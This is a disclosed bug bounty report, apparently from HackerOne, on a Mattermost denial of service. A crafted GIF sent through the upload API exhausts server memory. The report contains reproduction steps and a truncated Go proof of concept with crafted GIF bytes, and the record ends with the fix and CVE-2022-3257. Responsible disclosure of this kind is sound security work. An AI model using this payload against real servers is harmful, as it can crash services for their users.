9 DOS: out of memory from gif through upload api

Share:

TIMELINE

catenacyber submitted a report to Mattermost. Jun 30th (5 months ago)

Summary:

When sending a specially crafted gif with max dimensions through the upload API, we get Mattermost server to consume more than 4Gbytes of RAM

Steps To Reproduce:

[add details for how we can reproduce the issue]

1. Run `docker run --name mattermost-preview -d --publish 8065:8065 mattermost/mattermost-preview -m=4G` as documented https://docs.mattermost.com/guides/deployment.html with 4G limit from https://docs.mattermost.com/install/software-hardware-requirements.html#hardware-requirements-for-team-deployments
2. Get one channel id
3. Run this simple POC below with a valid channel id
4. Docker container gets killed

Code 698 Bytes Wrap lines Copy Download

```
1  package main
2
3  import (
4   "bytes"
5   "fmt"
6   "github.com/mattermost/mattermost-server/v5/model"
7  )
8
9  func main() {
10      Client := model.NewAPIv4Client("http://localhost:8065/")
```

```
14          Filename:  "oom.gif",
15          FileSize:  31,
16      }
17      us, response := Client.CreateUpload(us)
18      fmt.Printf("lol %s %#+v\n", us, response)
19      data := []byte{0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x2e, 0xf8, 0xff, 0xff, 0xf,
20      info, err2 := Client.UploadData(us.Id, bytes.NewReader(data))
21      fmt.Printf("lol %s %#+v\n", err2, info)
22  }
```

This happens with `gif.DecodeAll` being called by `GetInfoForBytes` getting called by `App.UploadData` being called by `doUploadData` being called by `uploadData` without any call to `preprocessImage` as is done in the `api/v4/files` route

Docker container gets killed

Impact

Crash a server

catenacyber posted a comment. Jun 30th (5 months ago)

You need to adapt the username and password in the POC as well ;-)

rohitesh_mattermost Mattermost staff posted a comment. Jun 30th (5 months ago)

Thank you for your report. We will investigate the issue as soon as possible and shall let you know if we need any more information. Once validated, we will let you know and triage the issue.

Best regards and happy hunting!

catenacyber posted a comment. Jul 1st (5 months ago)

Actually, `UploadData` calls `checkImageResolutionLimit` but after having called `model.GetInfoForBytes`...

catenacyber posted a comment. Jul 1st (5 months ago)

And `GetInfoForBytes` calls `image.DecodeConfig` but does not check the dimensions before calling `gif.DecodeAll`

rohitesh_mattermost Mattermost staff changed the status to ○ **Triaged**. Jul 5th (5 months ago)

Thanks for reporting this vulnerability. We have reviewed your report and after internally assessing the finding, we have determined that it is a valid issue. We would like to thank you for bringing this to our attention. Your report will be rewarded soon once we have discussed this further. Please stay tuned.

Best regards and happy hunting!

Mattermost rewarded catenacyber with a **$150** bounty. Jul 11th (5 months ago)

Thank you for reporting this vulnerability. After internally reviewing your finding, we have determined that it is a valid issue. We appreciate you bringing this to our attention. Congratulations!! We look forward to more additional reports from you.

Best regards and happy hunting!

ug 18th (3 months ago)

rohitesh_mattermost Mattermost staff closed the report and changed the status to ○ **Resolved**.

Thanks again for reporting this issue. This issue has been fixed and resolved in the server version 7.2

catenacyber requested to disclose this report. Aug 22nd (3 months ago)

Thank you. Can we disclose this ?

This report has been disclosed. Sep 21st (2 months ago)

rohitesh_mattermost Mattermost staff updated CVE reference to **CVE-2022-3257**. Sep 22nd (2 months ago)